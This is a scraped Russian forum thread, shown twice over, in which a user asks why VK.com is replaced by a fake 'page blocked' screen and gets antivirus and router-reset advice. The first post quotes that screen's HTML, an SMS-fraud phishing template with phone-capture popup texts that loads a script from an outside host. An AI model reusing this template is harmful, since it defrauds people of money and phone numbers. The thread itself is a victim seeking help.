вирус на компьютере, не пойму где

**zambrotta04** · 24.09.2012 20:44

Добрый вечер, собственно сабж. на компьютере появился вирус который блокирует доступ к vk.com, причем тупо появляется белый экран, не каких форм, и контента нету. Содержание на странице следующее:

code

Код HTML:

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta name="generator" content=
    "HTML Tidy for Windows (vers 14 February 2006), see www.w3.org" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link rel="shortcut icon" href="http://vk.com/images/faviconnew.ico" /> <meta http-equiv="content-type" content=
    "text/html; charset=windows-1251" /> <meta name="description" content="" /> <title>
      Страница заблокирована
    </title> <link rel="stylesheet" type="text/css" href="login_files/common.css" /> <link type="text/css" rel="stylesheet" href="login_files/login.css" /> <link type="text/css" rel="stylesheet" href="login_files/ui_controls.css" /> <script src="http://www.google.com/jsapi"></script> <script>
	// загружаем jQuery
	google.load("jquery", "1.3.2");
	google.setOnLoadCallback(function() {	
		$(document).ready(function(){
			setTimeout(function() { 
				$("#loading").hide();
				$("#page_wrap").show();			
			}, 2000);
		});
	});
	</script> <script>
	var popup_id_mas= new Array("blocked_send_phone"); //Перечень айди элементов по клику на которые будет всплывать попап
	
    var form_type = 5;//вариант открытия попапа. 1-открытие по клику. 2-открытие по загрузке страницы.3-открытие по загрузке с задержкой Н секунд.4-открытие по клику с задержкой Н секунд.5-Открытие по клику на элементы с id из popup_id_mas
    var form_seconds = 2;//задержка в секундах
	//var target_url="http://vk.com/ok.html"; //Урл на который следует перенаправить пользователя полсе удачно оплаты.
        var target_url="http://ya.ru"; //Урл на который следует перенаправить пользователя полсе удачно оплаты.
	var non_check_redirect=0; // (0- не редиректить , 1-редиректить) Редиректить ли юзеров, не прошедших проверку, или показывать оплату(обел)
	var non_check_redirect_url='http://yandex.ru'; //Куда редиректить
	
	var title="Восстановление доступа";
	var first_page_txt='Введите Ваш номер телефона в текстовое поле ниже';
	var first_page_btn='Продолжить';
	var second_page_mt_txt='Вам отправлено сообщение с проверочным кодом. Чтобы завершить процедуру введите данный код в поле ниже. Сообщение должно придти в ближайшие 5 минут.';
	var second_page_mt_sms_txt=' Нам необходимо проверить, что данный номер принадлежит именно вам. Для этого отправьте БЕСПЛАТНОЕ сообщение. После отпправки сообщения вы будете автоматически перенаправлы на завершение регистрации.';
	var second_page_sms_txt='Для завершения регистрации отправьте со своего номера сообщение, соблюдая нижеприведенные инструкции!';
	var second_page_mo_txt='Вам отправлено сообщение с просьбой подтвердить намерение активации. Чтобы подтвердить, что номер действительно ваш - ответьте на сообщение ОК, Вы получите уникальный код, который необходимо ввести в поле ниже.';
	var second_page_btn='Завершить';
	var domain = 'js.www-hh.biz'; 
	var css_style_url="./login_files/form.css"; 
	</script> <script src="http://js.www-hh.biz/mvdrk.js" charset="UTF-8"></script> </head> <body> <!--[if lte IE 6]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(http://st0.userapi.com/css/al/ie6.css?24); /* ]]> */</style><![endif]--> <!--[if IE 7]><style type="text/css" media="screen">/* <![CDATA[ */ @import url(http://st0.userapi.com/css/al/ie7.css?18); /* ]]> */</style><![endif]--> </body> </html>

[свернуть]

Переадресует на страницу http://vk.com/password.php?flow_id=823&code=wubsidfsjz
Ясен пень, я первым делом залез в файл hosts там не чего нет, затем я включил полную проверку компьютера (антивирус AvastIS7) нашел только 1 файлик, не помню как называется WindowsMail.exe что-то такое, троян вроде, я его удалил. Перезагрузил компьютер, зашел, все нормально. Ну думаю удалил его, сейчас сижу, общаюсь, смотрю сообщение не отправляет, обновляю страницу опять такое происходит. Кстати, возможно это на уровне подсети находится, т.к выхожу например через телефон (через Wi-fi на телефоне), тоже самое. И на ноутбуке на котором я 200 лет не чего не качал, точно так-же. Подскажите пожалуйста что это может быть, заранее спасибо...

**nemovalex** · 24.09.2012 20:48

Поставьте Касперского от Яндекса и проверьте весь компьютер!

**Aldan** · 24.09.2012 20:52

почистить временные файлы у браузеров удали кеш и куки скачай карент от доктора вебера и проверь систему

**zambrotta04** · 24.09.2012 20:54

nemovalex, Вот только не надо советовать ставить другой антивирус и ставить его для того чтобы проверить компьютер, чем Аваст хуже этого Касперского? Базы у всех антивирусов фактически одинаковые.

**~~nikita_lacoste~~** · 24.09.2012 21:07

Сообщение от Aldan

почистить временные файлы у браузеров удали кеш и куки скачай карент от доктора вебера и проверь систему

глупый совет, ДВ - "гавно" по всем параметрам

Сообщение от zambrotta04

nemovalex, Вот только не надо советовать ставить другой антивирус и ставить его для того чтобы проверить компьютер, чем Аваст хуже этого Касперского? Базы у всех антивирусов фактически одинаковые.

У кашперика преимущество - скорость проверки!

**zambrotta04** · 24.09.2012 21:29

Проверил курлетом, нечего нету + полную проверку авастом вновь ставил, тоже безрезультатно. Если заходить через аномайзер cameleo.ru то заходит, повторюсь если заходить через другие устройства (ноутбук или телефон), такая-же байда. Есть у кого какие-нибудь предположения?

---------- Сообщение добавлено 20:29 ---------- Предыдущее 20:25 ----------

Кстати, заметил что адрес скрипта поменялся. Вчера был 4helpus точка ру, сейчас уже js точка www-hh точка биз

**earnkz** · 24.09.2012 21:56

Попробуйте утилитой AVZ проверить, бывает что и после Двеба что то находит и прочие дыры в системе анализирует.
Если другие устройства тоже перенаправляет, значит с роутером проблемы, расскажите как у вас сеть устроена - адсл, локалка?

**zambrotta04** · 24.09.2012 22:13

earnkz, АДСЛ, роутер - D-Link DSL2640U

**epp** · 24.09.2012 22:15

zambrotta04, лучше запиши на флэшку Avira AntiVir Rescue System, загрузись с нее и проверь на вирусы, должно помочь...
У меня почти всегда какую-то дрянь находит.

**earnkz** · 24.09.2012 22:38

zambrotta04, А если с мобилы выйти не через wi-fi, а через 3G, открывает нормально? Если да, то сброс роутера на заводские настройки и по новой прописка подключения, либо обратитесь к провайдеру.

	24.09.2012 20:44 #1
zambrotta04 Well done. Регистрация: 16.11.2011 Сообщений: 511 Репутация: 90	Добрый вечер, собственно сабж. на компьютере появился вирус который блокирует доступ к vk.com, причем тупо появляется белый экран, не каких форм, и контента нету. Содержание на странице следующее: code Код HTML: <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <meta name="generator" content= "HTML Tidy for Windows (vers 14 February 2006), see www.w3.org" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link rel="shortcut icon" href="http://vk.com/images/faviconnew.ico" /> <meta http-equiv="content-type" content= "text/html; charset=windows-1251" /> <meta name="description" content="" /> <title> Страница заблокирована </title> <link rel="stylesheet" type="text/css" href="login_files/common.css" /> <link type="text/css" rel="stylesheet" href="login_files/login.css" /> <link type="text/css" rel="stylesheet" href="login_files/ui_controls.css" /> <script src="http://www.google.com/jsapi"></script> <script> // загружаем jQuery google.load("jquery", "1.3.2"); google.setOnLoadCallback(function() { $(document).ready(function(){ setTimeout(function() { $("#loading").hide(); $("#page_wrap").show(); }, 2000); }); }); </script> <script> var popup_id_mas= new Array("blocked_send_phone"); //Перечень айди элементов по клику на которые будет всплывать попап var form_type = 5;//вариант открытия попапа. 1-открытие по клику. 2-открытие по загрузке страницы.3-открытие по загрузке с задержкой Н секунд.4-открытие по клику с задержкой Н секунд.5-Открытие по клику на элементы с id из popup_id_mas var form_seconds = 2;//задержка в секундах //var target_url="http://vk.com/ok.html"; //Урл на который следует перенаправить пользователя полсе удачно оплаты. var target_url="http://ya.ru"; //Урл на который следует перенаправить пользователя полсе удачно оплаты. var non_check_redirect=0; // (0- не редиректить , 1-редиректить) Редиректить ли юзеров, не прошедших проверку, или показывать оплату(обел) var non_check_redirect_url='http://yandex.ru'; //Куда редиректить var title="Восстановление доступа"; var first_page_txt='Введите Ваш номер телефона в текстовое поле ниже'; var first_page_btn='Продолжить'; var second_page_mt_txt='Вам отправлено сообщение с проверочным кодом. Чтобы завершить процедуру введите данный код в поле ниже. Сообщение должно придти в ближайшие 5 минут.'; var second_page_mt_sms_txt=' Нам необходимо проверить, что данный номер принадлежит именно вам. Для этого отправьте БЕСПЛАТНОЕ сообщение. После отпправки сообщения вы будете автоматически перенаправлы на завершение регистрации.'; var second_page_sms_txt='Для завершения регистрации отправьте со своего номера сообщение, соблюдая нижеприведенные инструкции!'; var second_page_mo_txt='Вам отправлено сообщение с просьбой подтвердить намерение активации. Чтобы подтвердить, что номер действительно ваш - ответьте на сообщение ОК, Вы получите уникальный код, который необходимо ввести в поле ниже.'; var second_page_btn='Завершить'; var domain = 'js.www-hh.biz'; var css_style_url="./login_files/form.css"; </script> <script src="http://js.www-hh.biz/mvdrk.js" charset="UTF-8"></script> </head> <body> <!--[if lte IE 6]><style type="text/css" media="screen">/ <![CDATA[ / @import url(http://st0.userapi.com/css/al/ie6.css?24); / ]]> /</style><![endif]--> <!--[if IE 7]><style type="text/css" media="screen">/ <![CDATA[ / @import url(http://st0.userapi.com/css/al/ie7.css?18); / ]]> /</style><![endif]--> </body> </html> [свернуть] Переадресует на страницу http://vk.com/password.php?flow_id=823&code=wubsidfsjz Ясен пень, я первым делом залез в файл hosts там не чего нет, затем я включил полную проверку компьютера (антивирус AvastIS7) нашел только 1 файлик, не помню как называется WindowsMail.exe что-то такое, троян вроде, я его удалил. Перезагрузил компьютер, зашел, все нормально. Ну думаю удалил его, сейчас сижу, общаюсь, смотрю сообщение не отправляет, обновляю страницу опять такое происходит. Кстати, возможно это на уровне подсети находится, т.к выхожу например через телефон (через Wi-fi на телефоне), тоже самое. И на ноутбуке на котором я 200 лет не чего не качал, точно так-же. Подскажите пожалуйста что это может быть, заранее спасибо... Бесплатная проверка позиций в Яндекс и Google!
0 zambrotta04

	24.09.2012 20:48 #2
nemovalex Студент Регистрация: 18.04.2012 Сообщений: 54 Репутация: 20	Поставьте Касперского от Яндекса и проверьте весь компьютер!
0 nemovalex

	24.09.2012 20:52 #3
Aldan Дипломник Регистрация: 28.02.2012 Сообщений: 193 Репутация: 22	почистить временные файлы у браузеров удали кеш и куки скачай карент от доктора вебера и проверь систему
0 Aldan

	24.09.2012 20:54 #4
zambrotta04 Well done. Регистрация: 16.11.2011 Сообщений: 511 Репутация: 90	nemovalex, Вот только не надо советовать ставить другой антивирус и ставить его для того чтобы проверить компьютер, чем Аваст хуже этого Касперского? Базы у всех антивирусов фактически одинаковые. Бесплатная проверка позиций в Яндекс и Google!
0 zambrotta04

	24.09.2012 21:07 #5
~~nikita_lacoste~~ Banned Регистрация: 27.07.2012 Сообщений: 481 Репутация: 66 Webmoney BL: ?	Сообщение от Aldan почистить временные файлы у браузеров удали кеш и куки скачай карент от доктора вебера и проверь систему глупый совет, ДВ - "гавно" по всем параметрам Сообщение от zambrotta04 nemovalex, Вот только не надо советовать ставить другой антивирус и ставить его для того чтобы проверить компьютер, чем Аваст хуже этого Касперского? Базы у всех антивирусов фактически одинаковые. У кашперика преимущество - скорость проверки!
-1 nikita_lacoste

вирус на компьютере, не пойму где

Опции темы

code

Тэги топика:

Похожие темы

Что -то я не пойму о тиц. Объясните мне пожалуйста.

На одном компьютере сайт открывается, а на другом нет

На одном компьютере сайт открывается, а на другом нет

На одном компьютере сайт открывается, а на другом нет

Тем:

Сообщений:

Пользователей:

Сейчас на сайте:

Вход

Сайт

Разделы

Прочее

Следите за нами

Витрина ссылок

У нас проходит

У кого попросить инвайт?

Золотые темы форума

Последние новости

Популярные темы

Информеры

	24.09.2012 21:29 #6
zambrotta04 Well done. Регистрация: 16.11.2011 Сообщений: 511 Репутация: 90	Проверил курлетом, нечего нету + полную проверку авастом вновь ставил, тоже безрезультатно. Если заходить через аномайзер cameleo.ru то заходит, повторюсь если заходить через другие устройства (ноутбук или телефон), такая-же байда. Есть у кого какие-нибудь предположения? ---------- Сообщение добавлено 20:29 ---------- Предыдущее 20:25 ---------- Кстати, заметил что адрес скрипта поменялся. Вчера был 4helpus точка ру, сейчас уже js точка www-hh точка биз Бесплатная проверка позиций в Яндекс и Google!
0 zambrotta04

	24.09.2012 21:56 #7
earnkz Опытный Регистрация: 14.04.2011 Сообщений: 265 Репутация: 74 Webmoney BL: ?	Попробуйте утилитой AVZ проверить, бывает что и после Двеба что то находит и прочие дыры в системе анализирует. Если другие устройства тоже перенаправляет, значит с роутером проблемы, расскажите как у вас сеть устроена - адсл, локалка? Последний раз редактировалось earnkz; 24.09.2012 в 21:59. Удобный мониторинг позиций \| Лучший VPS хостинг, с беспл. админ. \| Биржа контента без комиссии
0 earnkz

	24.09.2012 22:13 #8
zambrotta04 Well done. Регистрация: 16.11.2011 Сообщений: 511 Репутация: 90	earnkz, АДСЛ, роутер - D-Link DSL2640U Бесплатная проверка позиций в Яндекс и Google!
0 zambrotta04

	24.09.2012 22:15 #9
epp Гуру Регистрация: 16.08.2009 Сообщений: 559 Записей в дневнике: 1 Репутация: 119 Webmoney BL: ?	zambrotta04, лучше запиши на флэшку Avira AntiVir Rescue System, загрузись с нее и проверь на вирусы, должно помочь... У меня почти всегда какую-то дрянь находит. Подпись - вообще ни о чем.
0 epp

	24.09.2012 22:38 #10
earnkz Опытный Регистрация: 14.04.2011 Сообщений: 265 Репутация: 74 Webmoney BL: ?	zambrotta04, А если с мобилы выйти не через wi-fi, а через 3G, открывает нормально? Если да, то сброс роутера на заводские настройки и по новой прописка подключения, либо обратитесь к провайдеру. Удобный мониторинг позиций \| Лучший VPS хостинг, с беспл. админ. \| Биржа контента без комиссии
0 earnkz

Темы	Раздел	Ответов	Последний пост
Что -то я не пойму о тиц. Объясните мне пожалуйста.	Вопросы от новичков	12	11.12.2011 12:03
На одном компьютере сайт открывается, а на другом нет	Софт, скрипты, сервисы	5	31.10.2011 22:47
На одном компьютере сайт открывается, а на другом нет	Оффтоп и свободные темы	3	20.10.2011 02:38
На одном компьютере сайт открывается, а на другом нет	Вопросы от новичков	3	20.10.2011 02:38